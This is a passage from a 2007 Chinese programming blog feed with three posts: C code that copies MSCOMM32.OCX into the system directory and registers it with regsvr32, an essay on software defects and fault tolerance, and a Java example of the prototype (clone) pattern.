<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;&nbsp;&nbsp; PROCESS_INFORMATION pi;<br>&nbsp;&nbsp;&nbsp; STARTUPINFO si = {sizeof(si)};<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;char OCXfile[50]="<a href="file://MSCOMM32.OCX/">\\MSCOMM32.OCX</a>";<br>&nbsp;char REGfile[50]="<a href="file://regsvr32.exe/">\\regsvr32.exe</a>";<br>&nbsp;&nbsp;&nbsp; char *p,*q;<br>&nbsp;&nbsp;&nbsp; GetSystemDirectory(windowsdir, 256);<br>&nbsp;p=commandline;<br>&nbsp;q=windowsdir;<br>&nbsp;strcpy(p,q);</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><br>&nbsp;p=strchr(commandline,'\0');<br>&nbsp;&nbsp;&nbsp; q=OCXfile;<br>&nbsp;strcpy(p,q);</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;p=strchr(windowsdir,'\0');<br>&nbsp;&nbsp;&nbsp; q=REGfile;<br>&nbsp;strcpy(p,q);</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><br>&nbsp;p=commandline;<br>&nbsp;q=&amp;lastcommandline[1];<br>&nbsp;&nbsp;&nbsp; strcpy(q,p);<br>&nbsp;&nbsp;&nbsp; lastcommandline[0]=' ';<br>&nbsp;</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;&nbsp;&nbsp; </p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;&nbsp;&nbsp; // 启动regsvr32.exe作为子进程<br>&nbsp;&nbsp;&nbsp; BOOL ret = CreateProcess(windowsdir, lastcommandline, NULL, NULL, FALSE, 0, NULL, NULL, &amp;si, &amp;pi);<br>&nbsp;&nbsp;&nbsp; if(ret) <br>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp; CloseHandle(pi.hThread);<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp; CloseHandle(pi.hProcess);</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;}</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>}</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>int APIENTRY WinMain(HINSTANCE hInstance,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HINSTANCE hPrevInstance,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LPSTR&nbsp;&nbsp;&nbsp;&nbsp; lpCmdLine,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nCmdShow )<br>{</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;&nbsp;&nbsp; char sys[100];</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;&nbsp;&nbsp; char file1[20]="Mscomm32.ocx";<br>&nbsp;char file2[20]="Mscomm32.dep";<br>&nbsp;char file3[20]="Mscomm.srg";</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;GetSystemDirectory(sys,100);</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;&nbsp;&nbsp; CPFile(file1,sys);<br>&nbsp;CPFile(file2,sys);<br>&nbsp;CPFile(file3,sys);</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;&nbsp;&nbsp; regOCX();<br>&nbsp;<br>&nbsp;regsted();</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;return 0;<br>}</p>
》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》<br>后记：<br><br>代码加入： include &#8220;stdafx.h&#8221;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 作者没有加入可能因为变成环境的问题。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mscomm的文件一共有4个，注册使用的应该只有ocx这一个，但为什么都要copy出来不太明白。另一个问题是active控件的源文件和使用上不太了解。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ms的文章没有时间读，我的理解可能.red文件是用来对照注册表的。<br><br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 当使用IS等安装程序时，可以实现对控件的自动注册，并对注册表进行操作，所以这种解决方法也没有必要了。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这种方法的主要问题仍然是在注册上，导致了程序无法实现绿色安装。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;注册程序写入到主程序时需要每次做一个注册与否的判断，分开的话在操作上会给用户造成麻烦。<br><br>判断软件注册的方法一个是对照注册表。另一个是做一个global的标志来帮助判断（别的有待学习：P）前者更合理，但有点麻烦：（<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这段程序实现了对操作系统工具的直接调用，以及对系统文件的操作。&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 结合操作系统，网络的知识编写出具备全面而有效功能的软件。<br></div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/28452.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2007-06-14 16:55 <a href="http://www.cnitblog.com/weitom1982/archive/2007/06/14/28452.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软件开发设计中的容错考虑(别人写的)</title><link>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24783.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Tue, 27 Mar 2007 11:51:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24783.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/24783.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24783.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/24783.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/24783.html</trackback:ping><description><![CDATA[
		<u>
				<font color="#800080">与软件质量——与缺陷共舞</font>
		</u>
		<div class="postText">
				<div style="TEXT-ALIGN: center">
						<font size="5">
								<span style="FONT-WEIGHT: bold">浅谈人与软件质量——与缺陷共舞</span>
						</font>
						<br />
				</div>
				<br />
				<div style="TEXT-ALIGN: center">
						<font size="3">
								<span style="FONT-STYLE: italic">文/尹立群<br /><br /></span>
						</font>
				</div>
				<font size="3">长期以来，软件质量一直是一个广泛又热门的话题。这可能与软件的现状有关：不论如何努力，稍具规模的软件产品总是不能完全做到没有问题，同时各行各业都越来越离不开软件的使用。软件产生问题的原因很多，本文只从人的认知和行为特点出发，企图揭示和解释其与软件问题之间的关系，提倡在软件生产和使用中的“容错”概念，并概括地提出一些对应措施，以期对于改进软件质量和软件生产的总体优化有所裨益。<br /><br /><span style="FONT-WEIGHT: bold">软件质量的现状</span><br />为了了解软件质量的现状，从1994年开始，一个名叫 Standish Group 的智囊团用了十年的时间研究了多达三万五千个开发项目，用了多种方法对这些项目进行了评估，其对于项目成功的定义如下：<br />软件开发按时完成。<br />预算未超出。<br />软件功能涵盖了预定的要求。<br />软件没有被缺陷致残。<br />软件已被使用，而且产生了积极的效果。<br />最初的结果显示符合上述定义的成功软件项目只有16%。Standish 每年都会更新这一数字。之后的结果显示，该比例没有太大的改变。<br />多年来，软件业界采用了多种方法企图改善软件质量的现状。虽然 Standish Group 的研究指出成功软件的比例变化不大，却并不代表软件业界的努力没有成果。因为用户对于软件的要求越来越高，导致软件越来越来复杂，失败的概率也相应地越来越大。虽然一些有识之士例如 Ben Chelf 认识到人的因素对于软件产生缺陷至关重要，但是面对这一现实，多数还是朝着使人减少犯错误机会的方向去改进。这无疑是必要的。但是在短期不能奏效的局面下，在软件生产和使用中“容忍”缺陷是软件业得以生存和发展的关键一环，通俗地说，要与缺陷共舞。<br /><br /><span style="FONT-WEIGHT: bold">人的认知和行为特点与软件质量的关系</span><br />俗话说，人无完人。通过犯错误认识世界是人的认知方法之一。试探法是方法论领域中重要的一支。我大学的高等数学老师当年曾经讲过前一年的一道研究生入学数学试题，是求解微分方程。绝大多数考生都是沿着传统的思路求解，等到把一套常用的方法试过一遍以后，10分钟已经过去，还是没有解出来，不得不放弃。这一道题唯一的解法是试探法。事实上该题的形式非常简单，是以自然对数为底的方程，只要想到用试探法，一分钟之内连答案都写好了。日常生活中的例子更是比比皆是。从蹒跚学步到牙牙学语，甚至到成年人伸手取物都是通过不断犯错误、修正错误来达到想要的结果。蒙上眼睛伸手取物常常失败，原因是伸手出去的过程中犯的错误没有通过视觉来动态修正。有了人不能不犯错误的共识以后，就不难理解为什么软件不可能没有缺陷。因为作为软件生产的主体的人，其认知与行为特点必然直接影响到软件本身。<br />软件工程与其它工程领域不同的是，软件的产生过程直到现在也还是手工业工作方式或者说是手工艺品的生产方式，还远远没有实现软件工程这一学科当初想要到达的软件生产工程化、规范化、可复制化或代码重用等理想目标。当设计完成以后，程序员根据设计以及该程序员选择的编码方式实现设计。由于受到时间和人力成本的限制，程序员通常不可能穷尽所有的方法来择优。因此不同的程序员从同一个设计出发，往往是通过不同的方法实现设计的。即使是在设计这一层面，虽然会有更多的机会讨论不同的设计方案，还是不容易做很多不同的设计去比较优劣。这种局面导致完成后的软件总是会有不尽人意的地方。<br />如果再考虑到人的群体行为，问题的复杂程度就增加了很多。比如，业务过程的描述往往很难对应到技术层面。人与人沟通中的误解错位是软件产品出现问题的重要原因之一。<br />面对这一现实，软件生产人员和用户的最佳选择是承认软件不可能没有缺陷的现实，在生产和使用中都引入软件“容错”的理念和机制，并把有限的时间和精力放在“关键”部位上，而不是一味追求最少的缺陷和不分重点地使用软件开发力量，这样才能达到总体最优的结果。从九十年代开始发展起来的软件容错技术，正是对于没有无缺陷软件事实的认同。</font>
		</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/24783.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2007-03-27 19:51 <a href="http://www.cnitblog.com/weitom1982/archive/2007/03/27/24783.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>原始模型模式(随便看看就好,别人写的)</title><link>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24782.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Tue, 27 Mar 2007 11:45:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24782.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/24782.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24782.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/24782.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/24782.html</trackback:ping><description><![CDATA[
		<p>
				<font size="3">        原始模型模式，我认为也可以称为克隆模式，就是由一个完整的产品对象复制出另一个对象的模式。它也是对象的创建模式，但是只与原始对象有关，不需要工厂类。</font>
		</p>
		<div>
				<font size="3">        原始模型模式最成功的应用之一就是Object类的clone方法，可能由于这种方法的存在，很多人没有意识到原始模型模式是一种特定的创建模式。但是，它的确是一种产生对象的模式，而且clone方法所实现的只是原始模型模式的一种情况。</font>
		</div>
		<div>
				<font size="3">        原始模型模式的对象创建方式有两种，可以分别称为浅复制和深复制：浅复制就是从原对象复制出新的对象时，并不复制它的成员对象，即它的成员对象句柄所指向的还是原对象中的成员对象；深复制就是在新对象中，成员对象也是新的。</font>
				<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 95%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
						<div>
								<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />
								<span style="COLOR: #0000ff">package</span>
								<span style="COLOR: #000000"> prototype;<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" /><br /><img id="_47_141_Open_Image" onclick="this.style.display='none'; document.getElementById('_47_141_Open_Text').style.display='none'; document.getElementById('_47_141_Closed_Image').style.display='inline'; document.getElementById('_47_141_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="_47_141_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_47_141_Closed_Text').style.display='none'; document.getElementById('_47_141_Open_Image').style.display='inline'; document.getElementById('_47_141_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" align="top" /></span>
								<span style="COLOR: #0000ff">public</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">interface</span>
								<span style="COLOR: #000000"> Prototype </span>
								<span id="_47_141_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span>
								<span id="_47_141_Open_Text">
										<span style="COLOR: #000000">{<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" /><br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    </span>
										<span style="COLOR: #0000ff">public</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #0000ff">void</span>
										<span style="COLOR: #000000"> printPart();<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    <br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    Object flatClone();<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    <br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    Object deepClone() </span>
										<span style="COLOR: #0000ff">throws</span>
										<span style="COLOR: #000000"> Exception;<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    <br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span>
								</span>
								<span style="COLOR: #000000">
										<br />
										<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />
										<br />
										<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />
										<br />
										<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />
								</span>
								<span style="COLOR: #0000ff">package</span>
								<span style="COLOR: #000000"> prototype;<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" /><br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" /></span>
								<span style="COLOR: #0000ff">import</span>
								<span style="COLOR: #000000"> java.io.</span>
								<span style="COLOR: #000000">*</span>
								<span style="COLOR: #000000">;<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" /><br /><img id="_250_897_Open_Image" onclick="this.style.display='none'; document.getElementById('_250_897_Open_Text').style.display='none'; document.getElementById('_250_897_Closed_Image').style.display='inline'; document.getElementById('_250_897_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="_250_897_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_250_897_Closed_Text').style.display='none'; document.getElementById('_250_897_Open_Image').style.display='inline'; document.getElementById('_250_897_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" align="top" /></span>
								<span style="COLOR: #0000ff">public</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">class</span>
								<span style="COLOR: #000000"> ConcretePrototype </span>
								<span style="COLOR: #0000ff">implements</span>
								<span style="COLOR: #000000"> Prototype , Serializable</span>
								<span id="_250_897_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span>
								<span id="_250_897_Open_Text">
										<span style="COLOR: #000000">{<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" /><br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    </span>
										<span style="COLOR: #0000ff">private</span>
										<span style="COLOR: #000000"> Part part;<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    <br /><img id="_303_327_Open_Image" onclick="this.style.display='none'; document.getElementById('_303_327_Open_Text').style.display='none'; document.getElementById('_303_327_Closed_Image').style.display='inline'; document.getElementById('_303_327_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="_303_327_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_303_327_Closed_Text').style.display='none'; document.getElementById('_303_327_Open_Image').style.display='inline'; document.getElementById('_303_327_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedSubBlock.gif" align="top" />    </span>
										<span style="COLOR: #0000ff">public</span>
										<span style="COLOR: #000000"> ConcretePrototype() </span>
										<span id="_303_327_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span>
										<span id="_303_327_Open_Text">
												<span style="COLOR: #000000">{<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        part </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">new</span>
												<span style="COLOR: #000000"> Part();<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
										</span>
										<span style="COLOR: #000000">
												<br />
												<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    <br /><img id="_356_387_Open_Image" onclick="this.style.display='none'; document.getElementById('_356_387_Open_Text').style.display='none'; document.getElementById('_356_387_Closed_Image').style.display='inline'; document.getElementById('_356_387_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="_356_387_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_356_387_Closed_Text').style.display='none'; document.getElementById('_356_387_Open_Image').style.display='inline'; document.getElementById('_356_387_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedSubBlock.gif" align="top" />    </span>
										<span style="COLOR: #0000ff">public</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #0000ff">void</span>
										<span style="COLOR: #000000"> printPart() </span>
										<span id="_356_387_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span>
										<span id="_356_387_Open_Text">
												<span style="COLOR: #000000">{<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        System.out.println(part);<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
										</span>
										<span style="COLOR: #000000">
												<br />
												<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    <br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" /><br /><img id="_419_508_Open_Image" onclick="this.style.display='none'; document.getElementById('_419_508_Open_Text').style.display='none'; document.getElementById('_419_508_Closed_Image').style.display='inline'; document.getElementById('_419_508_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="_419_508_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_419_508_Closed_Text').style.display='none'; document.getElementById('_419_508_Open_Image').style.display='inline'; document.getElementById('_419_508_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedSubBlock.gif" align="top" />    </span>
										<span style="COLOR: #0000ff">public</span>
										<span style="COLOR: #000000"> Object flatClone() </span>
										<span id="_419_508_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span>
										<span id="_419_508_Open_Text">
												<span style="COLOR: #000000">{<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        ConcretePrototype cp </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">new</span>
												<span style="COLOR: #000000"> ConcretePrototype();<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        cp.part </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">this</span>
												<span style="COLOR: #000000">.part;<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        </span>
												<span style="COLOR: #0000ff">return</span>
												<span style="COLOR: #000000"> cp;<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
										</span>
										<span style="COLOR: #000000">
												<br />
												<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />
												<br />
												<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    <br /><img id="_557_848_Open_Image" onclick="this.style.display='none'; document.getElementById('_557_848_Open_Text').style.display='none'; document.getElementById('_557_848_Closed_Image').style.display='inline'; document.getElementById('_557_848_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="_557_848_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_557_848_Closed_Text').style.display='none'; document.getElementById('_557_848_Open_Image').style.display='inline'; document.getElementById('_557_848_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedSubBlock.gif" align="top" />    </span>
										<span style="COLOR: #0000ff">public</span>
										<span style="COLOR: #000000"> Object deepClone() </span>
										<span style="COLOR: #0000ff">throws</span>
										<span style="COLOR: #000000"> Exception </span>
										<span id="_557_848_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span>
										<span id="_557_848_Open_Text">
												<span style="COLOR: #000000">{<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        ByteArrayOutputStream bo </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">new</span>
												<span style="COLOR: #000000"> ByteArrayOutputStream();<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        ObjectOutputStream oo </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">new</span>
												<span style="COLOR: #000000"> ObjectOutputStream(bo);<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        oo.writeObject(</span>
												<span style="COLOR: #0000ff">this</span>
												<span style="COLOR: #000000">);<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        ByteArrayInputStream bi </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">new</span>
												<span style="COLOR: #000000"> ByteArrayInputStream(bo.toByteArray());<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        ObjectInputStream oi </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">new</span>
												<span style="COLOR: #000000"> ObjectInputStream(bi);<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        </span>
												<span style="COLOR: #0000ff">return</span>
												<span style="COLOR: #000000"> (oi.readObject());<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
										</span>
										<span style="COLOR: #000000">
												<br />
												<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />
												<br />
												<img id="_887_893_Open_Image" onclick="this.style.display='none'; document.getElementById('_887_893_Open_Text').style.display='none'; document.getElementById('_887_893_Closed_Image').style.display='inline'; document.getElementById('_887_893_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
												<img id="_887_893_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_887_893_Closed_Text').style.display='none'; document.getElementById('_887_893_Open_Image').style.display='inline'; document.getElementById('_887_893_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedSubBlock.gif" align="top" />    </span>
										<span style="COLOR: #0000ff">class</span>
										<span style="COLOR: #000000"> Part </span>
										<span style="COLOR: #0000ff">implements</span>
										<span style="COLOR: #000000"> Serializable </span>
										<span id="_887_893_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span>
										<span id="_887_893_Open_Text">
												<span style="COLOR: #000000">{<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        <br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
										</span>
										<span style="COLOR: #000000">
												<br />
												<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    <br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span>
								</span>
								<span style="COLOR: #000000">
										<br />
										<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />
										<br />
										<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />
										<br />
										<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />
								</span>
								<span style="COLOR: #0000ff">package</span>
